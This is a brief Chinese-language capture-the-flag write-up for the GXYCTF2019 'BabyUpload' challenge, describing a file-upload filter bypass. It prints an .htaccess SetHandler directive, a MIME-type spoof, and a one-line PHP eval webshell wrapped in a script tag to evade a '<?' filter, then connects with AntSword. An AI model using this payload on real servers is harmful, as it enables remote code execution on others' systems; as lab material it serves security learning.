[PHP知识库][GXYCTF2019]BabyUpload

[GXYCTF2019]BabyUpload

1，先上传个php文件试试，提示后缀名不能有ph

2，上传个.htaccess文件试试，提示上传类型也太露骨了吧

.hatccess文件内容:

SetHandler application/x-httpd-php

3，换个文件类型，换成image/jpeg，上传成功！

接下来只需要上传一个带有一句话木马的png/jpg文件就行。

5. （。。还有)对文件内容进行了过滤，猜测过滤了<?

6,可以使用<script language="php">eval($_POST['mochu7']);</script>绕过

7，上传成功，链接蚁剑获得flag